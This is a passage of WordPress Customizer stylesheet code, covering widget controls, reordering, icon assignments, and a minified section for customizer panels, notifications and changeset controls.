	transition: opacity 0.5s;
}

.customize-control .widget-action {
	color: #787c82;
}

.customize-control .widget-top:hover .widget-action,
.customize-control .widget-action:focus {
	color: #1d2327;
}

.customize-control-widget_form:not(.widget-rendered) .widget-top {
	opacity: 0.5;
}

.customize-control-widget_form .widget-control-save {
	display: none;
}

.customize-control-widget_form .spinner {
	visibility: hidden;
	margin-top: 0;
}

.customize-control-widget_form.previewer-loading .spinner {
	visibility: visible;
}

.customize-control-widget_form.widget-form-disabled .widget-content {
	opacity: 0.7;
	pointer-events: none;
	-webkit-user-select: none;
	user-select: none;
}

.customize-control-widget_form .widget {
	margin-bottom: 0;
}

.customize-control-widget_form.wide-widget-control .widget-inside {
	position: fixed;
	left: 299px;
	top: 25%;
	border: 1px solid #dcdcde;
	overflow: auto;
}
.customize-control-widget_form.wide-widget-control .widget-inside > .form {
	padding: 20px;
}

.customize-control-widget_form.wide-widget-control .widget-top {
	transition: background-color 0.4s;
}
.customize-control-widget_form.wide-widget-control.expanding .widget-top,
.customize-control-widget_form.wide-widget-control.expanded:not(.collapsing) .widget-top {
	background-color: #dcdcde;
}

.widget-inside {
	padding: 1px 10px 10px;
	border-top: none;
	line-height: 1.23076923;
}

.customize-control-widget_form.expanded .widget-action .toggle-indicator:before {
	content: "\f142";
}

.customize-control-widget_form.wide-widget-control .widget-action .toggle-indicator:before {
	content: "\f139";
}

.customize-control-widget_form.wide-widget-control.expanded .widget-action .toggle-indicator:before {
	content: "\f141";
}

.widget-title-action {
	cursor: pointer;
}

.widget-top,
.customize-control-widget_form .widget .customize-control-title {
	cursor: move;
}

.control-section.accordion-section.highlighted > .accordion-section-title,
.customize-control-widget_form.highlighted {
	outline: none;
	box-shadow: 0 0 2px rgba(79, 148, 212, 0.8);
	position: relative;
	z-index: 1;
}

#widget-customizer-control-templates {
	display: none;
}

/**
 * Widget reordering styles
 */

#customize-theme-controls .widget-reorder-nav {
	display: none;
	float: right;
	background-color: #f6f7f7;
}

.move-widget:before {
	content: "\f504";
}

#customize-theme-controls .move-widget-area {
	display: none;
	background: #fff;
	border: 1px solid #c3c4c7;
	border-top: none;
	cursor: auto;
}

#customize-theme-controls .reordering .move-widget-area.active {
	display: block;
}

#customize-theme-controls .move-widget-area .description {
	margin: 0;
	padding: 15px 20px;
	font-weight: 400;
}

#customize-theme-controls .widget-area-select {
	margin: 0;
	padding: 0;
	list-style: none;
}

#customize-theme-controls .widget-area-select li {
	position: relative;
	margin: 0;
	padding: 13px 15px 15px 42px;
	color: #50575e;
	border-top: 1px solid #c3c4c7;
	cursor: pointer;
	-webkit-user-select: none;
	user-select: none;
}

#customize-theme-controls .widget-area-select li:before {
	display: none;
	content: "\f147";
	position: absolute;
	top: 12px;
	left: 10px;
	font: normal 20px/1 dashicons;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

#customize-theme-controls .widget-area-select li:last-child {
	border-bottom: 1px solid #c3c4c7;
}

#customize-theme-controls .widget-area-select .selected {
	color: #fff;
	background: #2271b1;
}

#customize-theme-controls .widget-area-select .selected:before {
	display: block;
}

#customize-theme-controls .move-widget-actions {
	text-align: right;
	padding: 12px;
}

#customize-theme-controls .reordering .widget-title-action {
	display: none;
}

#customize-theme-controls .reordering .widget-reorder-nav {
	display: block;
}

/* Text Widget */
.wp-customizer div.mce-inline-toolbar-grp,
.wp-customizer div.mce-tooltip {
	z-index: 500100 !important;
}
.wp-customizer .ui-autocomplete.wplink-autocomplete {
	z-index: 500110; /* originally 100110, but z-index of .wp-full-overlay is 500000 */
}
.wp-customizer #wp-link-backdrop {
	z-index: 500100; /* originally 100100, but z-index of .wp-full-overlay is 500000 */
}
.wp-customizer #wp-link-wrap {
	z-index: 500105; /* originally 100105, but z-index of .wp-full-overlay is 500000 */
}

/**
 * Styles for new widget addition panel
 */

/* override widgets admin page rules in wp-admin/css/widgets.css */
#widgets-left #available-widgets .widget {
	float: none !important;
	width: auto !important;
}

/* Keep rule that is no longer necessary on widgets.php. */
#available-widgets .widget-action {
	display: none;
}

.ios #available-widgets {
	transition: left 0s;
}

#available-widgets .widget-tpl:hover,
#available-widgets .widget-tpl.selected {
	background: #f6f7f7;
	border-bottom-color: #c3c4c7;
	color: #2271b1;
	border-left: 4px solid #2271b1;
}

#customize-controls .widget-title h3 {
	font-size: 1em;
}

#available-widgets .widget-title h3 {
	padding: 0 0 5px;
	font-size: 14px;
}

#available-widgets .widget .widget-description {
	padding: 0;
	color: #646970;
}

#customize-preview {
	transition: all 0.2s;
}

body.adding-widget #available-widgets {
	left: 0;
	visibility: visible;
}

body.adding-widget .wp-full-overlay-main {
	left: 300px;
}

body.adding-widget #customize-preview {
	opacity: 0.4;
}


/**
 * Widget Icon styling
 * No plurals in naming.
 * Ordered from lowest to highest specificity.
 */

#available-widgets .widget-title {
	position: relative;
}

#available-widgets .widget-title:before {
	content: "\f132";
	position: absolute;
	top: -3px;
	right: 100%;
	margin-right: 20px;
	width: 20px;
	height: 20px;
	color: #2c3338;
	font: normal 20px/1 dashicons;
	text-align: center;
	box-sizing: border-box;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

/* dashicons-smiley */
#available-widgets [class*="easy"] .widget-title:before { content: "\f328"; top: -4px; }

/* dashicons-star-filled */
#available-widgets [class*="super"] .widget-title:before,
#available-widgets [class*="like"] .widget-title:before { content: "\f155"; top: -4px; }

/* dashicons-wordpress */
#available-widgets [class*="meta"] .widget-title:before { content: "\f120"; }

/* dashicons-archive */
#available-widgets [class*="archives"] .widget-title:before { content: "\f480"; top: -4px; }

/* dashicons-category */
#available-widgets [class*="categor"] .widget-title:before { content: "\f318"; top: -4px; }

/* dashicons-admin-comments */
#available-widgets [class*="comment"] .widget-title:before,
#available-widgets [class*="testimonial"] .widget-title:before,
#available-widgets [class*="chat"] .widget-title:before { content: "\f101"; }

/* dashicons-admin-post */
#available-widgets [class*="post"] .widget-title:before { content: "\f109"; }

/* dashicons-admin-page */
#available-widgets [class*="page"] .widget-title:before { content: "\f105"; }

/* dashicons-text */
#available-widgets [class*="text"] .widget-title:before { content: "\f478"; }

/* dashicons-admin-links */
#available-widgets [class*="link"] .widget-title:before { content: "\f103"; }

/* dashicons-search */
#available-widgets [class*="search"] .widget-title:before { content: "\f179"; }

/* dashicons-menu */
#available-widgets [class*="menu"] .widget-title:before,
#available-widgets [class*="nav"] .widget-title:before { content: "\f333"; }

/* dashicons-tagcloud */
#available-widgets [class*="tag"] .widget-title:before { content: "\f479"; }

/* dashicons-rss */
#available-widgets [class*="rss"] .widget-title:before { content: "\f303"; top: -6px; }

/* dashicons-calendar */
#available-widgets [class*="event"] .widget-title:before,
#available-widgets [class*="calendar"] .widget-title:before { content: "\f145"; top: -4px;}

/* dashicons-format-image */
#available-widgets [class*="image"] .widget-title:before,
#available-widgets [class*="photo"] .widget-title:before,
#available-widgets [class*="slide"] .widget-title:before,
#available-widgets [class*="instagram"] .widget-title:before { content: "\f128"; }

/* dashicons-format-gallery */
#available-widgets [class*="album"] .widget-title:before,
#available-widgets [class*="galler"] .widget-title:before { content: "\f161"; }

/* dashicons-format-video */
#available-widgets [class*="video"] .widget-title:before,
#available-widgets [class*="tube"] .widget-title:before { content: "\f126"; }

/* dashicons-format-audio */
#available-widgets [class*="music"] .widget-title:before,
#available-widgets [class*="radio"] .widget-title:before,
#available-widgets [class*="audio"] .widget-title:before { content: "\f127"; }

/* dashicons-admin-users */
#available-widgets [class*="login"] .widget-title:before,
#available-widgets [class*="user"] .widget-title:before,
#available-widgets [class*="member"] .widget-title:before,
#available-widgets [class*="avatar"] .widget-title:before,
#available-widgets [class*="subscriber"] .widget-title:before,
#available-widgets [class*="profile"] .widget-title:before,
#available-widgets [class*="grofile"] .widget-title:before { content: "\f110"; }

/* dashicons-cart */
#available-widgets [class*="commerce"] .widget-title:before,
#available-widgets [class*="shop"] .widget-title:before,
#available-widgets [class*="cart"] .widget-title:before { content: "\f174"; top: -4px; }

/* dashicons-shield */
#available-widgets [class*="secur"] .widget-title:before,
#available-widgets [class*="firewall"] .widget-title:before { content: "\f332"; }

/* dashicons-chart-bar */
#available-widgets [class*="analytic"] .widget-title:before,
#available-widgets [class*="stat"] .widget-title:before,
#available-widgets [class*="poll"] .widget-title:before { content: "\f185"; }

/* dashicons-feedback */
#available-widgets [class*="form"] .widget-title:before { content: "\f175"; }

/* dashicons-email-alt */
#available-widgets [class*="subscribe"] .widget-title:before,
#available-widgets [class*="news"] .widget-title:before,
#available-widgets [class*="contact"] .widget-title:before,
#available-widgets [class*="mail"] .widget-title:before { content: "\f466"; }

/* dashicons-share */
#available-widgets [class*="share"] .widget-title:before,
#available-widgets [class*="socia"] .widget-title:before { content: "\f237"; }

/* dashicons-translation */
#available-widgets [class*="lang"] .widget-title:before,
#available-widgets [class*="translat"] .widget-title:before { content: "\f326"; }

/* dashicons-location-alt */
#available-widgets [class*="locat"] .widget-title:before,
#available-widgets [class*="map"] .widget-title:before { content: "\f231"; }

/* dashicons-download */
#available-widgets [class*="download"] .widget-title:before { content: "\f316"; }

/* dashicons-cloud */
#available-widgets [class*="weather"] .widget-title:before { content: "\f176"; top: -4px;}

/* dashicons-facebook */
#available-widgets [class*="facebook"] .widget-title:before { content: "\f304"; }

/* dashicons-twitter */
#available-widgets [class*="tweet"] .widget-title:before,
#available-widgets [class*="twitter"] .widget-title:before { content: "\f301"; }

@media screen and (max-height: 700px) and (min-width: 981px) {
	/* Compact widget-tops on smaller laptops, but not tablets. See ticket #27112#comment:4 */
	.customize-control-widget_form {
		margin-bottom: 0;
	}

	.widget-top {
		box-shadow: none;
		margin-top: -1px;
	}

	.widget-top:hover {
		position: relative;
		z-index: 1;
	}

	.last-widget {
		margin-bottom: 15px;
	}

	.widget-title h3 {
		padding: 13px 15px;
	}

	.widget-top .widget-action {
		padding: 8px 10px;
	}

	.widget-reorder-nav span {
		height: 39px;
	}

	.widget-reorder-nav span:before {
		line-height: 39px;
	}

	/* Compact the move widget areas. */
	#customize-theme-controls .widget-area-select li {
		padding: 9px 15px 11px 42px;
	}

	#customize-theme-controls .widget-area-select li:before {
		top: 8px;
	}
}
/*! This file is auto-generated */
body{overflow:hidden;-webkit-text-size-adjust:100%}.customize-controls-close,.widget-control-actions a{text-decoration:none}#customize-controls h3{font-size:14px}#customize-controls img{max-width:100%}#customize-controls .submit{text-align:center}#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked{background-color:rgba(0,0,0,.7);padding:25px}#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .customize-changeset-locked-message{margin-left:auto;margin-right:auto;max-width:366px;min-height:64px;width:auto;padding:25px 25px 25px 109px;position:relative;background:#fff;box-shadow:0 3px 6px rgba(0,0,0,.3);line-height:1.5;overflow-y:auto;text-align:left;top:calc(50% - 100px)}#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .currently-editing{margin-top:0}#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .action-buttons{margin-bottom:0}.customize-changeset-locked-avatar{width:64px;position:absolute;left:25px;top:25px}.wp-core-ui.wp-customizer .customize-changeset-locked-message a.button{margin-right:10px;margin-top:0}#customize-controls .description{color:#50575e}#customize-save-button-wrapper{float:right;margin-top:9px}body:not(.ready) #customize-save-button-wrapper .save{visibility:hidden}#customize-save-button-wrapper .save{float:left;border-radius:3px;box-shadow:none;margin-top:0}#customize-save-button-wrapper .save:focus,#publish-settings:focus{box-shadow:0 1px 0 #2271b1,0 0 2px 1px #72aee6}#customize-save-button-wrapper .save.has-next-sibling{border-radius:3px 0 0 3px}#customize-sidebar-outer-content{position:absolute;top:0;bottom:0;left:0;visibility:hidden;overflow-x:hidden;overflow-y:auto;width:100%;margin:0;z-index:-1;background:#f0f0f1;transition:left .18s;border-right:1px solid #dcdcde;border-left:1px solid #dcdcde;height:100%}@media (prefers-reduced-motion:reduce){#customize-sidebar-outer-content{transition:none}}#customize-theme-controls .control-section-outer{display:none!important}#customize-outer-theme-controls .accordion-section-content{padding:12px}#customize-outer-theme-controls .accordion-section-content.open{display:block}.outer-section-open .wp-full-overlay.expanded #customize-sidebar-outer-content{visibility:visible;left:100%;transition:left .18s}@media (prefers-reduced-motion:reduce){.outer-section-open .wp-full-overlay.expanded #customize-sidebar-outer-content{transition:none}}.customize-outer-pane-parent{margin:0}.outer-section-open .wp-full-overlay.expanded .wp-full-overlay-main{left:300px;opacity:.4}.adding-menu-items .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,.adding-menu-items .wp-full-overlay.expanded.preview-tablet .wp-full-overlay-main,.adding-widget .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,.adding-widget .wp-full-overlay.expanded.preview-tablet .wp-full-overlay-main,.outer-section-open .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,.outer-section-open .wp-full-overlay.expanded.preview-tablet .wp-full-overlay-main{left:64%}#customize-outer-theme-controls li.notice{padding-top:8px;padding-bottom:8px;margin-left:0;margin-bottom:10px}#publish-settings{text-indent:0;border-radius:0 3px 3px 0;padding-left:0;padding-right:0;box-shadow:none;font-size:14px;width:30px;float:left;transform:none;margin-top:0;line-height:2}body.trashing #customize-save-button-wrapper .save,body.trashing #publish-settings,body:not(.ready) #publish-settings{display:none}#customize-header-actions .spinner{margin-top:13px;margin-right:4px}.saving #customize-header-actions .spinner,.trashing #customize-header-actions .spinner{visibility:visible}#customize-header-actions{border-bottom:1px solid #dcdcde}#customize-controls .wp-full-overlay-sidebar-content{overflow-y:auto;overflow-x:hidden}.outer-section-open #customize-controls .wp-full-overlay-sidebar-content{background:#f0f0f1}#customize-controls .customize-info{border:none;border-bottom:1px solid #dcdcde;margin-bottom:15px}#customize-control-changeset_preview_link input,#customize-control-changeset_status .customize-inside-control-row{background-color:#fff;border-bottom:1px solid #dcdcde;box-sizing:content-box;width:100%;margin-left:-12px;padding-left:12px;padding-right:12px}#customize-control-trash_changeset{margin-top:20px}#customize-control-trash_changeset .button-link{position:relative;padding-left:24px;display:inline-block}#customize-control-trash_changeset .button-link:before{content:"\f182";font:normal 22px dashicons;text-decoration:none;position:absolute;left:0;top:-2px}#customize-controls .date-input:invalid{border-color:#d63638}#customize-control-changeset_status .customize-inside-control-row{padding-top:10px;padding-bottom:10px;font-weight:500}#customize-control-changeset_status .customize-inside-control-row:first-of-type{border-top:1px solid #dcdcde}#customize-control-changeset_status .customize-control-title{margin-bottom:6px}#customize-control-changeset_status input{margin-left:0}#customize-control-changeset_preview_link{position:relative;display:block}.preview-link-wrapper .customize-copy-preview-link.preview-control-element.button{margin:0;position:absolute;bottom:9px;right:0}.preview-link-wrapper{position:relative}.customize-copy-preview-link:after,.customize-copy-preview-link:before{content:"";height:28px;position:absolute;background:#fff;top:-1px}.customize-copy-preview-link:before{left:-10px;width:9px;opacity:.75}.customize-copy-preview-link:after{left:-5px;width:4px;opacity:.8}#customize-control-changeset_preview_link input{line-height:2.85714286;border-top:1px solid #dcdcde;border-left:none;border-right:none;text-indent:-999px;color:#fff;min-height:40px}#customize-control-changeset_preview_link label{position:relative;display:block}#customize-control-changeset_preview_link a{display:inline-block;position:absolute;white-space:nowrap;overflow:hidden;width:90%;bottom:14px;font-size:14px;text-decoration:none}#customize-control-changeset_preview_link a.disabled,#customize-control-changeset_preview_link a.disabled:active,#customize-control-changeset_preview_link a.disabled:focus,#customize-control-changeset_preview_link a.disabled:visited{color:#000;opacity:.4;cursor:default;outline:0;box-shadow:none}#sub-accordion-section-publish_settings .customize-section-description-container{display:none}#customize-controls .customize-info.section-meta{margin-bottom:15px}.customize-control-date_time .customize-control-description+.date-time-fields.includes-time{margin-top:10px}.customize-control.customize-control-date_time .date-time-fields .date-input.day{margin-right:0}.date-time-fields .date-input.month{width:auto;margin:0}.date-time-fields .date-input.day,.date-time-fields .date-input.hour,.date-time-fields .date-input.minute{width:46px}.date-time-fields .date-input.year{width:65px}.date-time-fields .date-input.meridian{width:auto;margin:0}.date-time-fields .time-row{margin-top:12px}#customize-control-changeset_preview_link{margin-top:6px}#customize-control-changeset_status{margin-bottom:0;padding-bottom:0}#customize-control-changeset_scheduled_date{box-sizing:content-box;width:100%;margin-left:-12px;padding:12px;background:#fff;border-bottom:1px solid #dcdcde;margin-bottom:0}#customize-control-changeset_scheduled_date .customize-control-description{font-style:normal}#customize-controls .customize-info.is-in-view,#customize-controls .customize-section-title.is-in-view{position:absolute;z-index:9;width:100%;box-shadow:0 1px 0 rgba(0,0,0,.1)}#customize-controls .customize-section-title.is-in-view{margin-top:0}#customize-controls .customize-info.is-in-view+.accordion-section{margin-top:15px}#customize-controls .customize-info.is-sticky,#customize-controls .customize-section-title.is-sticky{position:fixed;top:46px}#customize-controls .customize-info .accordion-section-title{background:#fff;color:#50575e;border-left:none;border-right:none;border-bottom:none;cursor:default}#customize-controls .customize-info .accordion-section-title:focus:after,#customize-controls .customize-info .accordion-section-title:hover:after,#customize-controls .customize-info.open .accordion-section-title:after{color:#2c3338}#customize-controls .customize-info .accordion-section-title:after{display:none}#customize-controls .customize-info .preview-notice{font-size:13px;line-height:1.9}#customize-controls .customize-info .panel-title,#customize-controls .customize-pane-child .customize-section-title h3,#customize-controls .customize-pane-child h3.customize-section-title,#customize-outer-theme-controls .customize-pane-child .customize-section-title h3,#customize-outer-theme-controls .customize-pane-child h3.customize-section-title{font-size:20px;font-weight:200;line-height:26px;display:block;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}#customize-controls .customize-section-title span.customize-action{overflow:hidden;white-space:nowrap;text-overflow:ellipsis}#customize-controls .customize-info .customize-help-toggle{position:absolute;top:4px;right:1px;padding:20px 20px 10px 10px;width:20px;height:20px;cursor:pointer;box-shadow:none;background:0 0;color:#50575e;border:none}#customize-controls .customize-info .customize-help-toggle:before{position:absolute;top:5px;left:6px}#customize-controls .customize-info .customize-help-toggle:focus,#customize-controls .customize-info .customize-help-toggle:hover,#customize-controls .customize-info.open .customize-help-toggle{color:#2271b1}#customize-controls .customize-info .customize-panel-description,#customize-controls .customize-info .customize-section-description,#customize-controls .no-widget-areas-rendered-notice,#customize-outer-theme-controls .customize-info .customize-section-description{color:#50575e;display:none;background:#fff;padding:12px 15px;border-top:1px solid #dcdcde}#customize-controls .customize-info .customize-panel-description.open+.no-widget-areas-rendered-notice{border-top:none}.no-widget-areas-rendered-notice{font-style:italic}.no-widget-areas-rendered-notice p:first-child{margin-top:0}.no-widget-areas-rendered-notice p:last-child{margin-bottom:0}#customize-controls .customize-info .customize-section-description{margin-bottom:15px}#customize-controls .customize-info .customize-panel-description p:first-child,#customize-controls .customize-info .customize-section-description p:first-child{margin-top:0}#customize-controls .customize-info .customize-panel-description p:last-child,#customize-controls .customize-info .customize-section-description p:last-child{margin-bottom:0}#customize-controls .current-panel .control-section>h3.accordion-section-title{padding-right:30px}#customize-outer-theme-controls .control-section,#customize-theme-controls .control-section{border:none}#customize-outer-theme-controls .accordion-section-title,#customize-theme-controls .accordion-section-title{color:#50575e;background-color:#fff;border-bottom:1px solid #dcdcde;border-left:4px solid #fff;transition:.15s color ease-in-out,.15s background-color ease-in-out,.15s border-color ease-in-out}@media (prefers-reduced-motion:reduce){#customize-outer-theme-controls .accordion-section-title,#customize-theme-controls .accordion-section-title{transition:none}}#customize-controls #customize-theme-controls .customize-themes-panel .accordion-section-title{color:#50575e;background-color:#fff;border-left:4px solid #fff}#customize-outer-theme-controls .accordion-section-title:after,#customize-theme-controls .accordion-section-title:after{content:"\f345";color:#a7aaad}#customize-outer-theme-controls .accordion-section-content,#customize-theme-controls .accordion-section-content{color:#50575e;background:0 0}#customize-controls .control-section .accordion-section-title:focus,#customize-controls .control-section .accordion-section-title:hover,#customize-controls .control-section.open .accordion-section-title,#customize-controls .control-section:hover>.accordion-section-title{color:#2271b1;background:#f6f7f7;border-left-color:#2271b1}#accordion-section-themes+.control-section{border-top:1px solid #dcdcde}.js .control-section .accordion-section-title:focus,.js .control-section .accordion-section-title:hover,.js .control-section.open .accordion-section-title,.js .control-section:hover .accordion-section-title{background:#f6f7f7}#customize-outer-theme-controls .control-section .accordion-section-title:focus:after,#customize-outer-theme-controls .control-section .accordion-section-title:hover:after,#customize-outer-theme-controls .control-section.open .accordion-section-title:after,#customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,#customize-theme-controls .control-section .accordion-section-title:focus:after,#customize-theme-controls .control-section .accordion-section-title:hover:after,#customize-theme-controls .control-section.open .accordion-section-title:after,#customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#2271b1}#customize-theme-controls .control-section.open{border-bottom:1px solid #f0f0f1}#customize-outer-theme-controls .control-section.open .accordion-section-title,#customize-theme-controls .control-section.open .accordion-section-title{border-bottom-color:#f0f0f1!important}#customize-theme-controls .control-section:last-of-type.open,#customize-theme-controls .control-section:last-of-type>.accordion-section-title{border-bottom-color:#dcdcde}#customize-theme-controls .control-panel-content:not(.control-panel-nav_menus) .control-section:nth-child(2),#customize-theme-controls .control-panel-nav_menus .control-section-nav_menu,#customize-theme-controls .control-section-nav_menu_locations .accordion-section-title{border-top:1px solid #dcdcde}#customize-theme-controls .control-panel-nav_menus .control-section-nav_menu+.control-section-nav_menu{border-top:none}#customize-theme-controls>ul{margin:0}#customize-theme-controls .accordion-section-content{position:absolute;top:0;left:100%;width:100%;margin:0;padding:12px;box-sizing:border-box}#customize-info,#customize-theme-controls .customize-pane-child,#customize-theme-controls .customize-pane-parent{overflow:visible;width:100%;margin:0;padding:0;box-sizing:border-box;transition:.18s transform cubic-bezier(.645, .045, .355, 1)}@media (prefers-reduced-motion:reduce){#customize-info,#customize-theme-controls .customize-pane-child,#customize-theme-controls .customize-pane-parent{transition:none}}#customize-theme-controls .customize-pane-child.skip-transition{transition:none}#customize-info,#customize-theme-controls .customize-pane-parent{position:relative;visibility:visible;height:auto;max-height:none;overflow:auto;transform:none}#customize-theme-controls .customize-pane-child{position:absolute;top:0;left:0;visibility:hidden;height:0;max-height:none;overflow:hidden;transform:translateX(100%)}#customize-theme-controls .customize-pane-child.current-panel,#customize-theme-controls .customize-pane-child.open{transform:none}.in-sub-panel #customize-info,.in-sub-panel #customize-theme-controls .customize-pane-parent,.in-sub-panel.section-open #customize-theme-controls .customize-pane-child.current-panel,.section-open #customize-info,.section-open #customize-theme-controls .customize-pane-parent{visibility:hidden;height:0;overflow:hidden;transform:translateX(-100%)}#customize-theme-controls .customize-pane-child.busy,#customize-theme-controls .customize-pane-child.current-panel,#customize-theme-controls .customize-pane-child.open,.busy.section-open.in-sub-panel #customize-theme-controls .customize-pane-child.current-panel,.in-sub-panel #customize-info.busy,.in-sub-panel #customize-theme-controls .customize-pane-parent.busy,.section-open #customize-info.busy,.section-open #customize-theme-controls .customize-pane-parent.busy{visibility:visible;height:auto;overflow:auto}#customize-theme-controls .customize-pane-child.accordion-section-content,#customize-theme-controls .customize-pane-child.accordion-sub-container{display:block;overflow-x:hidden}#customize-theme-controls .customize-pane-child.accordion-section-content{padding:12px}#customize-theme-controls .customize-pane-child.menu li{position:static}.control-section-nav_menu .customize-section-description-container,.control-section-new_menu .customize-section-description-container,.customize-section-description-container{margin-bottom:15px}.control-section-nav_menu .customize-control,.control-section-new_menu .customize-control{margin-bottom:0}.customize-section-title{margin:-12px -12px 0;border-bottom:1px solid #dcdcde;background:#fff}div.customize-section-description{margin-top:22px}.customize-info div.customize-section-description{margin-top:0}div.customize-section-description p:first-child{margin-top:0}div.customize-section-description p:last-child{margin-bottom:0}#customize-theme-controls .customize-themes-panel h3.customize-section-title:first-child{border-bottom:1px solid #dcdcde;padding:12px}.ios #customize-theme-controls .customize-themes-panel h3.customize-section-title:first-child{padding:12px 12px 13px}.customize-section-title h3,h3.customize-section-title{padding:10px 10px 12px 14px;margin:0;line-height:21px;color:#50575e}.accordion-sub-container.control-panel-content{display:none;position:absolute;top:0;width:100%}.accordion-sub-container.control-panel-content.busy{display:block}.current-panel .accordion-sub-container.control-panel-content{width:100%}.customize-controls-close{display:block;position:absolute;top:0;left:0;width:45px;height:41px;padding:0 2px 0 0;background:#f0f0f1;border:none;border-top:4px solid #f0f0f1;border-right:1px solid #dcdcde;color:#3c434a;text-align:left;cursor:pointer;transition:color .15s ease-in-out,border-color .15s ease-in-out,background .15s ease-in-out;box-sizing:content-box}.customize-panel-back,.customize-section-back{display:block;float:left;width:48px;height:71px;padding:0 24px 0 0;margin:0;background:#fff;border:none;border-right:1px solid #dcdcde;border-left:4px solid #fff;box-shadow:none;cursor:pointer;transition:color .15s ease-in-out,border-color .15s ease-in-out,background .15s ease-in-out}.customize-section-back{height:74px}.ios .customize-panel-back{display:none}.ios .expanded.in-sub-panel .customize-panel-back{display:block}#customize-controls .panel-meta.customize-info .accordion-section-title{margin-left:48px;border-left:none}#customize-controls .cannot-expand:hover .accordion-section-title,#customize-controls .panel-meta.customize-info .accordion-section-title:hover{background:#fff;color:#50575e;border-left-color:#fff}.customize-controls-close:focus,.customize-controls-close:hover,.customize-controls-preview-toggle:focus,.customize-controls-preview-toggle:hover{background:#fff;color:#2271b1;border-top-color:#2271b1;box-shadow:none;outline:1px solid transparent}#customize-theme-controls .accordion-section-title:focus .customize-action{outline:1px solid transparent;outline-offset:1px}.customize-panel-back:focus,.customize-panel-back:hover,.customize-section-back:focus,.customize-section-back:hover{color:#2271b1;background:#f6f7f7;border-left-color:#2271b1;box-shadow:none;outline:2px solid transparent;outline-offset:-2px}.customize-controls-close:before{font:normal 22px/45px dashicons;content:"\f335";position:relative;top:-3px;left:13px}.customize-panel-back:before,.customize-section-back:before{font:normal 20px/72px dashicons;content:"\f341";position:relative;left:9px}.wp-full-overlay-sidebar .wp-full-overlay-header{background-color:#f0f0f1;transition:padding ease-in-out .18s}.in-sub-panel .wp-full-overlay-sidebar .wp-full-overlay-header{padding-left:62px}p.customize-section-description{font-style:normal;margin-top:22px;margin-bottom:0}.customize-section-description ul{margin-left:1em}.customize-section-description ul>li{list-style:disc}.section-description-buttons{text-align:right}.customize-control{width:100%;float:left;clear:both;margin-bottom:12px}.customize-control input[type=email],.customize-control input[type=number],.customize-control input[type=password],.customize-control input[type=range],.customize-control input[type=search],.customize-control input[type=tel],.customize-control input[type=text],.customize-control input[type=url]{width:100%;margin:0}.customize-control-hidden{margin:0}.customize-control-textarea textarea{width:100%;resize:vertical}.customize-control select{width:100%}.customize-control select[multiple]{height:auto}.customize-control-title{display:block;font-size:14px;line-height:1.75;font-weight:600;margin-bottom:4px}.customize-control-description{display:block;font-style:italic;line-height:1.4;margin-top:0;margin-bottom:5px}.customize-section-description a.external-link:after{font:16px/11px dashicons;content:"\f504";top:3px;position:relative;padding-left:3px;display:inline-block;text-decoration:none}.customize-control-color .color-picker,.customize-control-upload div{line-height:28px}.customize-control .customize-inside-control-row{line-height:1.6;display:block;margin-left:24px;padding-top:6px;padding-bottom:6px}.customize-control-checkbox input,.customize-control-nav_menu_auto_add input,.customize-control-radio input{margin-right:4px;margin-left:-24px}.customize-control-radio{padding:5px 0 10px}.customize-control-radio .customize-control-title{margin-bottom:0;line-height:1.6}.customize-control-radio .customize-control-title+.customize-control-description{margin-top:7px}.customize-control-checkbox label,.customize-control-radio label{vertical-align:top}.customize-control .attachment-thumb.type-icon{float:left;margin:10px;width:auto}.customize-control .attachment-title{font-weight:600;margin:0;padding:5px 10px}.customize-control .attachment-meta{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;margin:0;padding:0 10px}.customize-control .attachment-meta-title{padding-top:7px}.customize-control .thumbnail-image,.customize-control .wp-media-wrapper.wp-video,.customize-control-header .current{line-height:0}.customize-control-site_icon .favicon-preview .browser-preview{vertical-align:top}.customize-control .thumbnail-image img{cursor:pointer}#customize-controls .thumbnail-audio .thumbnail{max-width:64px;max-height:64px;margin:10px;float:left}#available-menu-items .accordion-section-content .new-content-item,.customize-control-dropdown-pages .new-content-item{width:calc(100% - 30px);padding:8px 15px;position:absolute;bottom:0;z-index:10;background:#f0f0f1;display:flex}.customize-control-dropdown-pages .new-content-item{width:100%;padding:5px 0 5px 1px;position:relative}#available-menu-items .new-content-item .create-item-input,.customize-control-dropdown-pages .new-content-item .create-item-input{flex-grow:10}#available-menu-items .new-content-item .add-content,.customize-control-dropdown-pages .new-content-item .add-content{margin:2px 0 2px 6px;flex-grow:1}.customize-control-dropdown-pages .new-content-item .create-item-input.invalid{border:1px solid #d63638}.customize-control-dropdown-pages .add-new-toggle{margin-left:1px;font-weight:600;line-height:2.2}#customize-preview iframe{width:100%;height:100%;position:absolute}#customize-preview iframe+iframe{visibility:hidden}.wp-full-overlay-sidebar{background:#f0f0f1;border-right:1px solid #dcdcde}#customize-controls .customize-control-notifications-container{margin:4px 0 8px;padding:0;cursor:default}#customize-controls .customize-control-widget_form.has-error .widget .widget-top,.customize-control-nav_menu_item.has-error .menu-item-bar .menu-item-handle{box-shadow:inset 0 0 0 2px #d63638;transition:.15s box-shadow linear}#customize-controls .customize-control-notifications-container li.notice{list-style:none;margin:0 0 6px;padding:9px 14px;overflow:hidden}#customize-controls .customize-control-notifications-container .notice.is-dismissible{padding-right:38px}.customize-control-notifications-container li.notice:last-child{margin-bottom:0}#customize-controls .customize-control-nav_menu_item .customize-control-notifications-container{margin-top:0}#customize-controls .customize-control-widget_form .customize-control-notifications-container{margin-top:8px}.customize-control-text.has-error input{outline:2px solid #d63638}#customize-controls #customize-notifications-area{position:absolute;top:46px;width:100%;border-bottom:1px solid #dcdcde;display:block;padding:0;margin:0}.wp-full-overlay.collapsed #customize-controls #customize-notifications-area{display:none!important}#customize-controls #customize-notifications-area:not(.has-overlay-notifications),#customize-controls .customize-section-title>.customize-control-notifications-container:not(.has-overlay-notifications),#customize-controls 